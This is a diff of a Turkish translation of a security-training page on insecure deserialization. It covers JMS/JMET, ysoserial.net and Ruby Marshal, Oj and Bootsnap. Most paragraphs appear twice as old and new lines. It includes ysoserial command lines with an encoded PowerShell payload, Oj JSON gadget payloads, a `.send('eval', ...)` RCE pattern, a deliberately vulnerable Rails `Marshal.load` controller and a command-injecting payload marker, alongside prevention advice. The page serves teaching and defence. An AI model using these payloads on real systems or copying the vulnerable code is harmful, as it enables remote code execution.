> **Java Mesaj Servisi** (**JMS**) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürümü (Java EE) parçasıdır ve Sun Microsystems'ta geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Java EE'ye dayalı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında gevşek bağlı, güvenilir ve asenkron iletişimi sağlar. (Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> **Java Mesaj Servisi** (**JMS**) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan Java tabanlı bir mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürüm (Java EE) parçasıdır ve Sun Microsystems tarafından geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Java EE tabanlı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında gevşek bağlı, güvenilir ve asenkron iletişimi sağlar. (Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Ürünler
@ -663,16 +662,16 @@ Bu ara yazılımı kullanarak mesaj gönderen birkaç ürün bulunmaktadır:
### İstismar
Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet vardır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak kötü niyetli serileştirilmiş nesneler** gönderebilirsiniz.\
Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet bulunmaktadır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak kötü niyetli serileştirilmiş nesneler** gönderebilirsiniz.\
Bu, bu istismar sırasında **o mesajı kullanacak tüm istemcilerin enfekte olacağı** anlamına gelir.
Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisini güvensiz bir şekilde deserialization yapıyorsa) ancak yine de zafiyeti istismar etmek için geçerli gadget'lar bulmanız gerekir.
[JMET](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç kötü niyetli serileştirilmiş nesne göndererek bu hizmetlere bağlanmak ve saldırmak için** oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde bulunuyorsa çalışacaktır.
[JMET](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç kötü niyetli serileştirilmiş nesne göndererek bu hizmetlere bağlanmak ve saldırmak** için oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde bulunuyorsa çalışacaktır.
### Referanslar
- [Patchstack advisory Everest Forms kimlik doğrulamasız PHP Nesne Enjeksiyonu (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
- [Patchstack advisory Everest Forms kimlik doğrulaması yapılmamış PHP Nesne Enjeksiyonu (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
- JMET konuşması: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- Slaytlar: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
@ -690,30 +689,30 @@ Kaynak kodu, aşağıdaki terimlerin geçişlerini kontrol etmek için incelenme
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
Odak, kullanıcı kontrolündeki bir değişken tarafından türün belirlenmesine izin veren serileştiricilere olmalıdır.
Odak, kullanıcı kontrolündeki bir değişken tarafından türün belirlenmesine izin veren serileştiriciler üzerinde olmalıdır.
#### Siyah Kutu
Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir Base64 kodlu dizeyi hedef almalıdır; bu, deserialization yapılacak tür üzerinde kontrol sağlar. Bu, `TypeObject` veya `$type` içeren **JSON** veya **XML** yapıları gibi olabilir.
Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir desen içeren Base64 kodlu dizeyi hedef almalıdır; bu, deserialization yapılacak tür üzerinde kontrol sağlar. Bu, `TypeObject` veya `$type` içeren **JSON** veya **XML** yapıları dahil olabilir, ancak bunlarla sınırlı değildir.
### ysoserial.net
Bu durumda, **deserialization istismarlarını oluşturmak için** [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **Visual Studio gibi bir programla derlemelisiniz**.
Bu durumda, **deserialization istismarlarını oluşturmak için** [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **örneğin Visual Studio kullanarak derlemelisiniz**.
**ysoserial.net'in istismarını nasıl oluşturduğunu** öğrenmek istiyorsanız, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter'ının açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
**ysoserial.net**'in ana seçenekleri: **`--gadget`**, **`--formatter`**, **`--output`** ve **`--plugin`.**
- **`--gadget`**, istismar edilecek gadget'ı belirtmek için kullanılır (deserialization sırasında komutları çalıştırmak için istismar edilecek sınıf/fonksiyonu belirtir).
- **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtmek için kullanılır (payload'ı deserialization yapmak için arka uçta hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir).
- **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, payload'ı **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle ham veriyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluk sorunları** yaşayabilirsiniz (HTB JSON kutusunda payload hem UTF-16LE hem de ASCII'de çalıştı, ancak bu her zaman çalışacağı anlamına gelmez)._
- **`--plugin`**, ysoserial.net, **belirli çerçeveler için istismarlar oluşturmak üzere eklentileri destekler**; örneğin ViewState.
- **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtmek için kullanılır (yüklemenin deserialization'ı için arka uçta hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir).
- **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, yüklemeyi **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle ham yüklemeyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluğu sorunları** yaşayabilirsiniz (HTB JSON kutusunda yükleme hem UTF-16LE hem de ASCII'de çalıştı, ancak bu her zaman çalışacağı anlamına gelmez)._
- **`--plugin`**, ysoserial.net, **belirli çerçeveler için istismarlar oluşturmak** üzere eklentileri destekler, örneğin ViewState.
#### Daha fazla ysoserial.net parametreleri
- `--minify`, **daha küçük bir payload** sağlayacaktır (mümkünse).
- `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatter ile kullanılabilecek tüm gadget'ları gösterecektir (`Json.Net` bu durumda).
- `--sf xml` bir gadget'ı **belirtebilir** (`-g`) ve ysoserial.net "xml" içeren formatörleri arayacaktır (büyük/küçük harf duyarsız).
- `--minify`, **daha küçük bir yük** sağlayacaktır (mümkünse)
- `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatörle kullanılabilecek tüm gadget'ları belirtir (bu durumda `Json.Net`).
- `--sf xml`, bir gadget'ı (`-g`) belirtir ve ysoserial.net "xml" içeren formatörleri arar (büyük/küçük harf duyarsız).
**ysoserial örnekleri** ile istismar oluşturma:
```bash
@ -735,7 +734,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand S
```
**ysoserial.net** ayrıca her bir exploitin nasıl çalıştığını daha iyi anlamaya yardımcı olan **çok ilginç bir parametreye** sahiptir: `--test`\
Bu parametreyi belirtirseniz **ysoserial.net** **exploit'i yerel olarak deneyecektir,** böylece yüklemenizin doğru bir şekilde çalışıp çalışmadığını test edebilirsiniz.\
Bu parametre faydalıdır çünkü kodu gözden geçirirseniz aşağıdaki gibi kod parçaları bulacaksınız ( [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
Bu parametre faydalıdır çünkü kodu incelediğinizde aşağıdaki gibi kod parçaları bulacaksınız (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
{
@ -761,11 +760,11 @@ return obj;
}
```
In the **önceki kod, oluşturulan istismara karşı savunmasızdır**. Bu nedenle, bir .Net uygulamasında benzer bir şey bulursanız, muhtemelen o uygulama da savunmasızdır.\
Bu nedenle **`--test`** parametresi, **`ysoserial.net`** tarafından oluşturulabilen deserialization istismarına karşı **hangi kod parçalarının savunmasız olduğunu anlamamıza** olanak tanır.
Bu nedenle **`--test`** parametresi, **hangi kod parçalarının** **ysoserial.net** tarafından oluşturulan deserialization istismarına karşı savunmasız olduğunu anlamamıza olanak tanır.
### ViewState
[**.Net'in \_\_ViewState parametresini istismar etmeye nasıl çalışılacağı hakkında bu POST'a**](exploiting-__viewstate-parameter.md) bakın **rastgele kod çalıştırmak için.** Eğer **kurban makinesinin kullandığı sırları zaten biliyorsanız**, [**kod çalıştırmayı öğrenmek için bu yazıyı okuyun**](exploiting-__viewstate-knowing-the-secret.md)**.**
[**.Net'in \_\_ViewState parametresini istismar etmeye nasıl çalışılacağı hakkında bu POST'a**](exploiting-__viewstate-parameter.md) bakın **rastgele kod çalıştırmak için.** Eğer **kurban makinesinde kullanılan sırları** zaten biliyorsanız, [**kod çalıştırmayı öğrenmek için bu yazıyı okuyun**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Önleme
@ -776,7 +775,7 @@ Bu nedenle **`--test`** parametresi, **`ysoserial.net`** tarafından oluşturula
- **`JavaScriptSerializer`'ı `JavaScriptTypeResolver` ile kullanmaktan kaçının.**
- **Deserialized edilebilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilişkili riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir.
- **Riskli özelliklere sahip türlerle dikkatli olun**, `Value` özelliği ile `System.ComponentModel.DataAnnotations.ValidationException` gibi, istismar edilebilir.
- **Tür örneklemesini güvenli bir şekilde kontrol edin**; bu, saldırganların deserialization sürecini etkilemesini önler ve `DataContractSerializer` veya `XmlSerializer`'ı bile savunmasız hale getirebilir.
- **Tür örneklemesini güvenli bir şekilde kontrol edin**; bu, saldırganların deserialization sürecini etkilemesini önler ve hatta `DataContractSerializer` veya `XmlSerializer`'ı savunmasız hale getirebilir.
- **`BinaryFormatter` ve `JSON.Net` için özel bir `SerializationBinder` kullanarak beyaz liste kontrolleri uygulayın.**
- **.Net içinde bilinen güvensiz deserialization aletleri hakkında bilgi sahibi olun** ve deserializer'ların bu türleri örneklemediğinden emin olun.
- **Potansiyel olarak riskli kodu** internet erişimi olan koddan izole edin, böylece `System.Windows.Data.ObjectDataProvider` gibi bilinen aletleri güvensiz veri kaynaklarına maruz bırakmaktan kaçının.
@ -790,7 +789,7 @@ Bu nedenle **`--test`** parametresi, **`ysoserial.net`** tarafından oluşturula
## **Ruby**
Ruby'de, serialization **marshal** kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, **dump** olarak bilinir ve bir nesneyi bir bayt akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem **load** olarak adlandırılır ve bir bayt akışını tekrar bir nesneye döndürmek için kullanılır; bu işleme ise deserialization denir.
Ruby'de, serialization **marshal** kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, **dump** olarak bilinir ve bir nesneyi bir byte akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem **load** olarak adlandırılır ve bir byte akışını tekrar bir nesneye döndürmek için kullanılır; bu işleme ise deserialization denir.
Serileştirilmiş nesneleri güvence altına almak için, **Ruby HMAC (Hash-Based Message Authentication Code)** kullanır ve verilerin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır:
@ -799,7 +798,7 @@ Serileştirilmiş nesneleri güvence altına almak için, **Ruby HMAC (Hash-Base
- `config/secrets.yml`
- `/proc/self/environ`
**Ruby 2.X genel deserialization'dan RCE alet zincirine (daha fazla bilgi için** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**):**
**Ruby 2.X genel deserialization'dan RCE alet zincirine (daha fazla bilgi için** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@ -874,14 +873,14 @@ Diğer RCE zinciri Ruby On Rails'i istismar etmek için: [https://codeclimate.co
### Ruby .send() metodu
[**bu güvenlik açığı raporunda**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) açıklandığı gibi, bazı kullanıcıdan gelen temizlenmemiş girdi `.send()` metoduna ulaştığında, bu metod nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir.
[**bu güvenlik açığı raporunda**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) açıklandığı gibi, bazı kullanıcıdan gelen temizlenmemiş girdi bir ruby nesnesinin `.send()` metoduna ulaşırsa, bu metod nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir.
Örneğin, eval çağırmak ve ardından ruby kodunu ikinci parametre olarak vermek, rastgele kodun çalıştırılmasına olanak tanır:
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
Ayrıca, eğer **`.send()`** metodunun yalnızca bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir nesne metodunu çağırmak mümkündür.\
Bunun için, bu gereksinimleri karşılayan **ilginç metodları bulmak üzere nesnenin tüm metodlarını saymak** mümkündür.
Ayrıca, **`.send()`** yönteminin yalnızca bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir nesne yöntemini çağırmak mümkündür.\
Bunun için, bu gereksinimleri karşılayan **ilginç yöntemleri bulmak üzere nesnenin tüm yöntemlerini saymak** mümkündür.
```ruby
<Object>.send('<user_input>')
@ -909,7 +908,7 @@ Bir Ruby sınıfını nasıl [kirletebileceğinizi ve bunu burada nasıl kötüy
### Ruby _json kirlenmesi
Bir gövdeye, bir dizi gibi hashlenemeyen bazı değerler gönderildiğinde, bunlar `_json` adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın gövdeye istediği keyfi değerlerle `_json` adında bir değer de ayarlaması mümkündür. Ardından, örneğin arka uç bir parametrenin doğruluğunu kontrol ederse ancak `_json` parametresini bir eylem gerçekleştirmek için kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir.
Bir gövdeye, bir dizi gibi hashlenemeyen bazı değerler gönderildiğinde, bunlar `_json` adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın gövdeye istediği keyfi değerlerle `_json` adında bir değer de ayarlaması mümkündür. Örneğin, arka uç bir parametrenin doğruluğunu kontrol ederse ancak ardından `_json` parametresini bazı eylemler gerçekleştirmek için kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir.
Daha fazla bilgi için [Ruby _json kirlenmesi sayfasını](ruby-_json-pollution.md) kontrol edin.
@ -917,7 +916,7 @@ Daha fazla bilgi için [Ruby _json kirlenmesi sayfasını](ruby-_json-pollution.
Bu teknik [**bu blog yazısından**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) alınmıştır.
RCE elde etmek için kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek diğer Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphaneden her zaman serileştirilmediğinde çağrılan yöntemleri göstermektedir (temelde RCE elde etmek için kötüye kullanılacak fonksiyon):
RCE elde etmek için kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek diğer Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphaneden serileştirilmediğinde çağrılan yöntemleri göstermektedir (temelde RCE elde etmek için kötüye kullanılacak fonksiyon):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Kütüphane</strong></td><td><strong>Girdi verisi</strong></td><td><strong>Sınıf içindeki başlatma yöntemi</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_create ile ilgili notları son bölümde görün](#table-vulnerable-sinks))</td></tr></tbody></table>
@ -943,7 +942,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağrısı yapan bir gadget sınıfı bulmak mümkün oldu. Bu, spec'i çağıracak ve fetch_path'i çağıracak şekildeydi; bu da rastgele bir URL almasını sağladı ve bu tür sanitizasyon yapılmamış deserialization zafiyetlerinin harika bir dedektörü oldu.
Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağrısı yapan bir gadget sınıfı bulmak mümkün oldu. Bu, spec'i çağıracak ve fetch_path'i çağıracak şekildeydi; bu da rastgele bir URL almasını sağladı ve bu tür sanitasyonsuz deserialization zafiyetlerinin harika bir dedektörünü sağladı.
```json
{
"^o": "URI::HTTP",
@ -955,7 +954,7 @@ Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağ
"password": "anypw"
}
```
Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu, bunun başka bir gadget'ı istismar etmek için bir gereklilik olduğu ve bunun bir RCE'ye dönüştürülmesi gerektiği bulundu:
Ayrıca, önceki teknikle birlikte sistemde bir klasörün de oluşturulduğu, bunun başka bir gadget'ı istismar etmek için bir gereklilik olduğu ve bunun bir RCE'ye dönüştürülmesi gerektiği bulundu:
```json
{
"^o": "Gem::Resolver::SpecSpecification",
@ -981,13 +980,13 @@ Check for more details in the [**original post**](https://github.blog/security/v
### Bootstrap Caching
Gerçekten bir deserialization zafiyeti değil ama bir Rails uygulamasından rastgele dosya yazma ile RCE elde etmek için bootstrap caching'i kötüye kullanmak için güzel bir numara (tam [orijinal yazıyı burada](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) bulabilirsiniz).
Gerçekten bir deserialization zafiyeti değil ama bir Rails uygulamasından keyfi dosya yazımı ile RCE elde etmek için bootstrap caching'i kötüye kullanmak için güzel bir numara (tam [orijinal yazıyı burada](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) bulabilirsiniz).
Aşağıda, Bootsnap caching'i kötüye kullanarak rastgele dosya yazma zafiyetini istismar etmek için makalede detaylandırılan adımların kısa bir özeti bulunmaktadır:
Aşağıda, Bootsnap caching'i kötüye kullanarak keyfi dosya yazma zafiyetini istismar etmek için makalede detaylandırılan adımların kısa bir özeti bulunmaktadır:
- Vulnerability and Environment'i Belirleyin
Rails uygulamasının dosya yükleme işlevi, bir saldırganın dosyaları rastgele yazmasına izin verir. Uygulama kısıtlamalarla çalışsa da (Docker'ın kök olmayan kullanıcısı nedeniyle yalnızca tmp gibi belirli dizinler yazılabilir), bu yine de Bootsnap önbellek dizinine yazmaya izin verir (genellikle tmp/cache/bootsnap altında).
Rails uygulamasının dosya yükleme işlevi, bir saldırganın dosyaları keyfi olarak yazmasına izin verir. Uygulama kısıtlamalarla çalışsa da (Docker'ın kök olmayan kullanıcısı nedeniyle yalnızca tmp gibi belirli dizinler yazılabilir), bu yine de Bootsnap önbellek dizinine yazmaya izin verir (genellikle tmp/cache/bootsnap altında).
- Bootsnapın Önbellek Mekanizmasını Anlayın
@ -1001,17 +1000,67 @@ Saldırgan, Rails başlangıcında muhtemelen yüklenen bir hedef dosyayı (örn
Bootsnapın FNV-1a 64-bit hash mekanizmasını taklit ederek, doğru önbellek dosyası yolu belirlenir. Bu adım, kötü niyetli önbellek dosyasının Bootsnap'ın beklediği yere tam olarak yerleştirildiğinden emin olur (örneğin, tmp/cache/bootsnap/compile-cache-iseq/ altında).
- Kötü Niyetli Önbellek Dosyasını Hazırlayın
- Kötü Niyetli Önbellek Dosyasını Oluşturun
Saldırgan, aşağıdakileri gerçekleştiren bir yük hazırlamaktadır:
Saldırgan, aşağıdakileri yapan bir yük hazırlamaktadır:
- Rastgele komutlar çalıştırır (örneğin, işlem bilgilerini göstermek için id çalıştırmak).
- Keyfi komutları çalıştırır (örneğin, işlem bilgilerini göstermek için id çalıştırmak).
- Kötü niyetli önbelleği çalıştırmadan sonra kaldırır, böylece yinelemeli istismar önlenir.
- Uygulamanın çökmesini önlemek için orijinal dosyayı (örneğin, set.rb) yükler.
Bu yük, ikili Ruby koduna derlenir ve daha önce toplanan meta veriler ve Bootsnap için doğru sürüm numarası kullanılarak dikkatlice oluşturulmuş bir önbellek anahtarı başlığı ile birleştirilir.
- Üzerine Yazın ve Çalıştırmayı Tetikleyin
Rastgele dosya yazma zafiyetini kullanarak, saldırgan hazırlanmış önbellek dosyasını hesaplanan konuma yazar. Ardından, bir sunucu yeniden başlatmasını tetikler (Puma tarafından izlenen tmp/restart.txt dosyasına yazarak). Yeniden başlatma sırasında, Rails hedef dosyayı gerektirdiğinde, kötü niyetli önbellek dosyası yüklenir ve uzaktan kod yürütme (RCE) ile sonuçlanır.
Keyfi dosya yazma zafiyetini kullanarak, saldırgan oluşturulan önbellek dosyasını hesaplanan konuma yazar. Ardından, bir sunucu yeniden başlatmasını tetikler (Puma tarafından izlenen tmp/restart.txt dosyasına yazarak). Yeniden başlatma sırasında, Rails hedef dosyayı talep ettiğinde, kötü niyetli önbellek dosyası yüklenir ve uzaktan kod yürütme (RCE) gerçekleşir.
### Ruby Marshal exploitation in practice (updated)
Güvensiz baytların `Marshal.load`/`marshal_load`'a ulaştığı herhangi bir yolu RCE kaynağı olarak değerlendirin. Marshal, keyfi nesne grafikleri yeniden yapılandırır ve malzeme haline getirme sırasında kütüphane/gem geri çağırmalarını tetikler.
- Minimal vulnerable Rails code path:
```ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
```
- Gerçek zincirlerde görülen yaygın gadget sınıfları: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
- Payload'larda yer alan tipik yan etki işareti (unmarshal sırasında yürütülür):
```
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
```
Gerçek uygulamalarda nerede ortaya çıkıyor:
- Tarihsel olarak Marshal kullanan Rails önbellek depoları ve oturum depoları
- Arka plan iş arka uçları ve dosya destekli nesne depoları
- İkili nesne blob'larının herhangi bir özel kalıcılığı veya taşınması
Endüstrileşmiş alet keşfi:
- Yapıcılar, `hash`, `_load`, `init_with` veya unmarshal sırasında çağrılan yan etkili yöntemler için Grep yapın
- Kaynakları → varış noktalarını izlemek ve aletleri ortaya çıkarmak için CodeQLnin Ruby güvensiz deserialization sorgularını kullanın
- Kamuya açık çok formatlı PoC'lerle doğrulayın (JSON/XML/YAML/Marshal)
## Referanslar
- Trail of Bits Marshal deliliği: Ruby deserialization istismarlarının kısa tarihi: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam Ruby 2.x Evrensel RCE Deserialization Alet Zinciri: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 Rails 3/4 Marshal zinciri: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 güvensiz deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI Ruby on Rails Active Storage güvensiz deserialization ile RCE: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security Rubyland'de alet zincirlerini keşfetmek: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab Ruby güvensiz deserialization (sorgu yardımı): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab PoC'ler deposu: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR Ruby 3.4 aleti: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke Ruby 3.4 evrensel zincir: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke Gem::SafeMarshal kaçışı: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 sürümü: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby düzeltme PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits RubyGems.org'un denetimi (Marshal bulguları): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
{{#include ../../banners/hacktricks-training.md}}